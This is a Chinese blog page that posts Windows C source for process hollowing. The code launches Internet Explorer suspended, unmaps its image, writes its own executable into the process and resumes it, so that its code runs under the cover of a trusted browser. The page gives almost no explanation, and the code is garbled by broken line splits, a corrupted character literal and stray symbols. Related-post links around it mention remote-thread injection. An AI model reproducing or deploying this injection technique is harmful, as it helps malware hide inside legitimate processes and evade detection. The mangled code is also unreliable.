将进程变成一个线程执行代码

进程与线程详解 本文参考于《操作系统真相还原》 1、执行流的概念   我们首先来介绍一下执行流的概念,执行流就是一段逻辑上独立的指令区域,对应于代码,大到可以是整个程序文件,即进程,小到可以是一个功能独立的代码块,即函数,而线程本质上就是函数。执行流是独立的,其独立性体现在每个执行流都有自己的栈、一套自己的期存器映像和内存资源,其实这就是执行流的上下文环境。因此,我们要想构造一个执行流,就要为其提供一整套的资 阅读详情
#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS
;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection
(
HANDLE ProcessHandle
,
PVOID BaseAddress
);

typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress
;
DWORD dwReserve
;
}
CHILDPROCESS
;

char szIePath[MAX_PATH
];

BOOL FindIePath(char *IePath,int *dwBuffSize
);
BOOL InjectProcess(void
);
DWORD GetSelfImageSize(HMODULE hModule
);

BOOL CreateInjectProcess
(
PPROCESS_INFORMATION pi
,
PCONTEXT pThreadCxt
,
CHILDPROCESS *
pChildProcess
);


int main(void
)
{
if (
InjectProcess
() )
{
printf("This is my a test code,made by shadow3./r/n"
);
}
else
{
MessageBox(NULL,"进程插入完成","Text",MB_OK
);
}

return
0
;
}

BOOL FindIePath(char *IePath,int *dwBuffSize
)
{
char szSystemDir[MAX_PATH
];

GetSystemDirectory(szSystemDir,MAX_PATH
);

szSystemDir[2] =
''
lstrcat(szSystemDir,"/Program Files/Internet Explorer/iexplore.exe"
);

lstrcpy(IePath, szSystemDir
);
return
TRUE
;
}


BOOL InjectProcess(void
)
{
char szModulePath[MAX_PATH
];
DWORD dwImageSize = 0
;

STARTUPINFO si = {0
};
PROCESS_INFORMATION pi
;
CONTEXT ThreadCxt
;
DWORD *PPEB
;
DWORD dwWrite = 0
;
CHILDPROCESS stChildProcess
;
LPVOID lpVirtual = NULL
;
PIMAGE_DOS_HEADER pDosheader = NULL
;
PIMAGE_NT_HEADERS pVirPeHead = NULL
;

HMODULE hModule = NULL
;

ZeroMemory(szModulePath,MAX_PATH
);
ZeroMemory(szIePath,MAX_PATH
);

GetModuleFileName(NULL,szModulePath,MAX_PATH
);
FindIePath(szIePath,NULL
);

if (
lstrcmpiA(szIePath,szModulePath) == 0
)
{
return
FALSE
;
}

hModule = GetModuleHandle(NULL
);
if (
hModule == NULL
)
{
return
FALSE
;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule
;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew
);

dwImageSize = GetSelfImageSize(hModule
);

if (
CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess
) )
{
printf("CHILD PID: [%d]/r/n",pi.dwProcessId
);


if (
ZwUnmapViewOfSection
(
pi.hProcess
,
(
LPVOID)stChildProcess.
dwBaseAddress
) == 0
)
{
lpVirtual = VirtualAllocEx
(
pi.hProcess
,
(
LPVOID)hModule
,
dwImageSize
,
MEM_RESERVE │ MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);

if (
lpVirtual
)
{
printf("Unmapped and Allocated Mem Success./r/n"
);
}

}
else
{
printf("ZwUnmapViewOfSection() failed./r/n"
);
return
TRUE
;
}

if (
lpVirtual
)
{
PPEB = (DWORD *)ThreadCxt.Ebx
;

// 重写装载地址

WriteProcessMemory
(
pi.hProcess
,
&
PPEB[2
],
&
lpVirtual
,
sizeof(DWORD
),
&
dwWrite
);


if (
WriteProcessMemory
(
pi.hProcess
,
lpVirtual
,
hModule
,
dwImageSize
,
&
dwWrite
) )
{
printf("image inject into process success./r/n"
);

ThreadCxt.ContextFlags = CONTEXT_FULL
;
if ( (
DWORD)lpVirtual == stChildProcess.dwBaseAddress
)
{
ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint
;
}
else
{
ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint
;
}

#ifdef DEBUG
printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax
);
printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx
);
printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx
);
printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx
);
printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip
);
#endif

SetThreadContext(pi.hThread, &ThreadCxt
);
ResumeThread(pi.hThread
);

}
else
{
printf("WirteMemory Failed,code:%d/r/n",GetLastError
());
TerminateProcess(pi.hProcess, 0
);
}

}
else
{
printf("VirtualMemory Failed,code:%d/r/n",GetLastError
());
TerminateProcess(pi.hProcess, 0
);
}
}

return
TRUE
;
}

DWORD GetSelfImageSize(HMODULE hModule
)
{
DWORD dwImageSize
;

_asm
{
mov ecx,
0x30
mov eax
, fs:[ecx
]
mov eax, [eax + 0x0c
]
mov esi, [eax + 0x0c
]
add esi,
0x20
lodsd
mov dwImageSize
,
eax

}

return
dwImageSize
;
}

BOOL CreateInjectProcess
(
PPROCESS_INFORMATION pi
,
PCONTEXT pThreadCxt
,
CHILDPROCESS *
pChildProcess
)

{
STARTUPINFO si = {0
};

DWORD *PPEB
;
DWORD read
;

// 使用挂起模式启动ie

if( CreateProcess
(
NULL
,
szIePath
,
NULL
,
NULL
,
0
,
CREATE_SUSPENDED
,
NULL
,
NULL
,
&
si
,
pi
) )
{
pThreadCxt->ContextFlags = CONTEXT_FULL
;
GetThreadContext(pi->hThread, pThreadCxt
);

PPEB = (DWORD *)pThreadCxt->Ebx
;

// 得到ie的装载基地址
ReadProcessMemory
(
pi->hProcess
,
&
PPEB[2
],
(
LPVOID)&(pChildProcess->dwBaseAddress
),
sizeof(DWORD
),
&
read
);

return
TRUE
;

}

return
FALSE
;
}
?>
嵌入式Linux&Android开发-环境搭建 目录 一、环境要求 二、相关软件&SDK下载 三、环境安装 3.1 VMware Worksation 3.2 Ubuntu1804 3.3 VSCode安装 3.4 Samba服务器搭建 一、环境要求 编译 Android 对机器的配置要求较高: 64 位 CPU 大于12GB 物理内存+交换内存(最好16GB以上) 30GB 空闲的磁盘空间用于构建,源码树另外占用大约 25GB, 如果要编译源码则还需要 150GB 的磁盘空间。 RK官方推荐使用 Ubuntu 16.. 阅读详情

相关推荐

VC Spyglass:Lint实战指南之TCL脚本自动化解析

本文详细介绍了如何利用TCL脚本实现VC Spyglass Lint检查的自动化流程。通过实战指南,从基础脚本编写到高级参数化技巧,帮助数字IC设计工程师摆脱手动操作,提升验证效率,并实现与CI/CD流程的集成。

h3i4j的博客 799

操作系统概念 由进程到线程

一、 图解: 1)创建多进程的时候,需要使用 fork()函数,得到一个子进程;该子进程和父进程的代码完全一致,由程序编写代码,去决定父进程/子进程的程序执行流; 2)父进程与子进程分属于不同的进程空间,并且父进程、子进程一共需要占用两份单位的系统资源;它们之间没有联系,想要进行通信,必须借助多进程通信方法; 二、 图解: 如果我们获得两个以上的程序流,不使用创建多进程的方式,而是在同一个进程中创建多个执行流,这就是多线程。 三、 图解: 1)在一个进程中,开辟2个执行流:第 1 个执行流,用于进

weixin_42109053的博客 335

NRF24L01模块的5个常见问题及解决方案:从信号干扰到功耗优化

本文深入探讨NRF24L01无线模块在STM32开发中的5大常见问题及解决方案,包括通信距离优化、数据丢失排查、电源噪声抑制、SPI通信故障处理以及低功耗设计。通过代码示例和电路图分析,提供实用的优化策略,帮助开发者提升无线通信的稳定性和效率。

weixin_28256233的博客 226

Linux进程管理:进程和线程基础知识

《Linux进程管理:进程和线程基础知识》 《Linux-进程管理》 《C语言进程的内存地址空间分配》 《进程和线程模型》 《(1)Linux进程调度》 《(2)Linux进程调度器-CPU负载》 《(3)Linux进程调度-进程切换》 《(4)Linux进程调度-组调度及带宽控制》 《(5)Linux进程调度-CFS调度器》 《(6)Linux进程调度-实时调度器》 《Linux内核:进程上下文切换》 《REAL-TIME(SCHED_FIFO和SCHED_RR)进程会导致系统LOC

RToax 2965

昇腾NPU实战:PaddleSpeech语音模型高效部署与性能优化指南

本文详细介绍了如何在华为昇腾NPU上高效部署PaddleSpeech语音识别模型。通过使用官方Docker镜像、解决依赖冲突、修改源码适配NPU算子,并应用混合精度与批处理等优化技巧,实现模型在昇腾平台上的稳定运行与性能提升,为AI语音应用提供高性价比的国产硬件部署方案。

weixin_29214691的博客 181

验证(uvm常见问题)--子类和父类的句柄和对象问题

sv中的子类和父类 在sv中,有如下两个类,child继承于parent。然后在test module中,正确转换的方法如下面所示。其中c1,c2,p1 都指向了同一个子类的对象c1。总结如下: 一个子类的对象是包括子类的成员变量,方法和父类的成员变量,方法。 子类的句柄c1可以直接赋值给父类的句柄p1,此时p1只可以访问父类的成员变量和方法,或者子类的虚方法,比如下面调用p1.display是...

q876507447的博客 7634

java de 线程池

线程池: java.util.concurrent.Executors提供了一个 java.util.concurrent.Executor接口的实现用于创建线程池 作用:解决处理器单元内多个线程执行的问题,它可以显著减少处理器单元的闲置时间,增加处理器单元的吞吐能力。 使用情况: 假设一个服务器完成一项任务所需时间为: T1 创建线程时间, T2 在线程中执行任务的时间, T3 销毁线程时间。 如果:T1 + T3 远大于 T2,则可以采用线程池,以提高服务器性能。 组成部分: ...

tayloramanda的博客 903

ThinkPad T14 Gen 2与T14P系列对比

表格您的需求推荐机型日常办公、出差、文档处理、视频会议✅(够用、轻便、便宜)视频剪辑、3D建模、编程编译、AI训练、高色准设计✅(性能强、屏幕好、扩展佳)想要未来 5 年不换机✅T14p预算低于 5000 元✅T14 Gen 2(或考虑 T14 Gen 3/4)T14p 2025 款 ≠ 小改款,而是架构级升级它从“高性能笔记本”进化为“AI 移动工作站”,核心差异在于NPU + Ultra 平台 + 全面屏显 + 超长续航。如果您从事AI 开发、视频创作、工程仿真、多任务编程。

tecoes的博客 2755

一文带你彻底理解进程与线程(包含生命周期的状态转换以及异同点)

线程是进程当中的一条执行流程。线程是比进程更轻量级的调度执行单位,线程的引入,可以把一个进程的资源和执行调度分开,各个线程既可以共享进程资源(内存地址、文件IO等),又可以独立调度,线程是CPU调度的基本单位。同一个进程内多个线程之间可以共享代码段、数据段、打开的文件等资源,但每个线程各自都有一套独立的寄存器和栈,这样可以确保线程的控制流是相对独立的。每个进程至少有一个线程存在,即主线程。线程的优缺点?一个进程中可以同时存在多个线程;各个线程之间可以并发执行;

xjx666666的博客 2445

实战!C#整合YOLO+Halcon做玻璃瓶口缺陷检测:裂纹识别+尺寸测量一步到位(附DLL交互代码)

AI擅长语义识别(裂纹、缺陷),传统机器视觉擅长精密测量(尺寸、位置),C#做整合层,才能满足工业生产的“精度+效率+稳定性”要求。这套方案不只是玻璃瓶检测能用,改改模型和测量逻辑,还能用到瓶盖缺陷检测、饮料瓶液位检测等场景。如果你们厂也有类似的质检痛点,评论区留个言,我帮你看看怎么调整算法参数。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 871

YOLOv8【第四章:注意力机制篇·第20节】一文讲透,注意力机制设计原则与选择指南 - 从原理到实践的系统化方法论!

🏆 本文收录于 《YOLOv8实战:从入门到深度优化》,该专栏持续复现网络上各种热门内容(全网YOLO改进最全最新的专栏,质量分97分+,全网顶流),改进内容支持(分类、检测、分割、追踪、关键点、OBB检测)。且专栏会随订阅人数上升而涨价(毕竟不断更新),当前性价比极高,有一定的参考&学习价值,部分内容会基于现有的国内外顶尖人工智能AIGC等AI大模型技术总结改进而来,嘎嘎硬核。    ✨ 特惠福利:目前活动一折秒杀价!一次订阅,永久免费,所有后续更新内容均免费阅读!

**My Coding Family** 899

【Linux】 由“进程”过渡到“线程” -- 什么是线程(thread)?

由进程过渡到线程,一字之差进程与线程的区别是什么? 什么叫线程?什么叫进程?如何创建线程?线程相对于进程又有哪些优缺点?

DEXTERFUTIAN的博客 1292

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

将进程变成一个线程执行代码2

http://www.security.org.sg/code/loadexe.htmlCode: //******************************************************************************************************* // loadEXE.c

2146

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

什么是进程?什么是线程?进程与线程的区别?

目录 什么是进程?什么是线程? 为什么要有线程? 进程与线程的区别? 进程与线程的选择取决条件? 什么是进程?什么是线程? 进程:进程是并发执行程序在执行过程中资源分配和管理的基本单位(资源分配的最小单位)。进程可以理解为一个应用程序的执行过程,应用程序一旦执行,就是一个进程。每个进程都有自己独立的地址空间,每启动一个进程,系统就会为它分配地址空间,建立数据表来维护代码段、堆栈段和数据...

xzp_12345的博客 1万+

利用远程线程将代码注入到目标进程中执行

<br />/* ************************************<br />* remote.c<br />* 创建远程线程、将代码注入到其他进程中执行<br />**************************************/<br />/* 头文件 */<br />#include <windows.h><br />#include <Tlhelp32.h><br />/*************************************<br />* BO

yiruirui0507的专栏 3257

【001 操作系统】什么是线程、进程?线程进程的区别是什么?

进程是资源分配的基本单位,它是程序执行时的一个实例,在程序运行时创建。在Linux环境下,每个进程有自己各自独立的 4G 地址空间,大家互不干扰对方,如果两个进程之间通信的话,还需要借助第三方进程间通信工具 IPC 才能完成。不同的进程通过页表映射,映射到物理内存上各自独立的存储空间,在操作系统的调度下,分别轮流占用CPU去运行,互不干扰、互不影响,甚至相互都不知道对方。

kashine的博客 7337

线程与进程的区别?如何创建一个线程?Java中如何创建一个进程?

在操作系统中,进程是程序执行的实体。在Java中,我们可以通过多种方式创建和管理进程。了解进程的基本概念是创建和管理它们的第一步。进程是Java应用程序的重要组成部分,正确地创建和管理进程对于构建稳定和高效的应用程序至关重要。

赵KK的博客 1326

进程、线程、协程

例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。首先这三者是有明显的大小关系进程 > 线程 > 协程一个进程可以有多个线程,一个线程里面可以有多个协程例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。

啊猪是的读来过倒的博客 2593

由进程创建线程,为什么进程也有一个线程号,应该如何理解?

进程是线程的集合,主线程是进程的默认线程。

weixin_52307528的博客 623

进程中的执行分支——线程

进程:为了并发执行任务(程序),现代操作系统才引进 进程 的概念:创建一个进程开销大:子进程需要拷贝父进程的整个地址空间:进程间的通信需要用第三方 (如:内核)P1 -> copy -> 内核 -> copy -> P2进程间通信代价或者开销也是很大的。进程的地址空间是独立,要通信的话需要用第三方的空间。于是,就有人提出能不能在 同一个(同一个进程内部)进程地址空间中进行任务的并发:线程/轻量级 进程。

LXYSDSG的博客 944

linux和windows一个进程最多启动多少个线程,一个线程可以包含多个进程吗

本文收集整理关于一个线程可以包含多个进程吗的相关议题,使用内容导航快速到达。内容导航:Q1:一个进程可以包含多个线程,什么线程分配给进程的主存地址空间linux下的单进程多线程的程序,要实现每个线程平均分配到多核cpu,主要有2个方法1:利用linux系统自己的线程切换机制,linux有一个服务叫做irqbalance,这个服务是linux系统自带的,默认会启动,这个服务的作用就是把多线程平均分配...

weixin_35669712的博客 2178

什么是进程、什么是线程(进程、线程的全方面解析)

进程和线程是操作系统的核心概念。进程是程序执行的实例,拥有独立的内存空间和资源,是资源分配的基本单位,创建和切换开销较大。线程是进程内的执行单元,共享进程资源,是CPU调度的基本单位,创建和切换更轻量级。进程间通信需通过系统机制,线程间可直接共享内存但需同步。进程崩溃不影响其他进程,而线程崩溃可能导致整个进程终止。现代操作系统采用混合线程模型,协程提供了更轻量的并发方案。多线程编程需重点解决线程安全问题。进程提供隔离环境保障稳定性,线程实现高效并发提升性能,两者结合应用可满足不同场景需求。

qq_54556560的博客 2332

一个进程(process)最多可以开辟多少个线程(thread)

进程与线程的关系 简单复习一下:一个”进程“代表中计算机中实际跑起来的一个程序,在现代操作系统的保护模式下,每个进程拥有自己独立的进程地址空间和上下文堆栈。但是就一个程序本身执行的操作来说,进程其实什么也不做(不执行任何进程代码),它只是提供一个大环境容器,在进程中实际的执行体是”线程“。因此一个进程至少得有一个线程,我们把这个线程称之为”主线程“,也就是说,一个进程至少要有一个主线程。 ......

HelloKandy's Blog 3万+

线程——进程的可执行单元

线程的特点:一个进程至少有一个线程,一个进程下的所有线程依赖于该进程,并且多个线程共享该进程的资源,如果该进程终止了,那么该进程下的所有线程都会被终止。5、信号屏蔽字:是一个位图(位图本质是数据结构,用二进制位来表示某些信息状态),用于控制进程或线程接收和处理信号的方式,其作用是可以屏蔽某些信号或者解除信号屏蔽,OS会为每一个线程分配独立的信号屏蔽字。3、寄存器:CPU中的一组高速缓存,用于暂时的存储CPU需要访问的数据或指令(是CPU中的硬件资源),OS会为每一个线程分配独立的寄存器集合。

qq_55610255的博客 338

php每一个请求会创建一个线程吗,PHP线程,进程,并发 - 米扑博客

进程进程是什么?进程是正在执行的程序;进程是正在计算机上执行的程序实例;进程是能分配给处理器并由处理器执行的实体。 进程一般会包括指令集和系统资源集,这里的指令集是指程序代码,这里的系统资源集是指I/O、CPU、内存等。 综合起来,也可以理解进程是具有一定独立功能的程序在关于某个数据集合上的一次运行活动, 进程是系统进行资源分配和调度的一个独立单位。在进程执行时,进程都可以被唯一的表示,由以下一些...

weixin_31202821的博客 1246

【Java--线程】进程和线程的概念:什么是进程?什么是线程?

进程和线程: 进程:启动一个QQ.exe就叫一个进程。 接着又启动一个360.exe,这叫两个进程。以此类推,每个独立执行的程序都称为进程。 线程:线程是在进程内部同时做的事情,比如在QQ里,有很多事情要同时做,比如发送消息和接受消息,同时上传文件,这就是由多线程 来实现的。 如Windows任务管理器:可以看到,后台运行搜狗输入法这个程序看作是一个进程,而搜狗运行中又有多个线程在执行。可...

JockLiu的博客 1334
上一篇: ipsec驱动源代码(部分)
下一篇: 将进程变成一个线程执行代码2
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值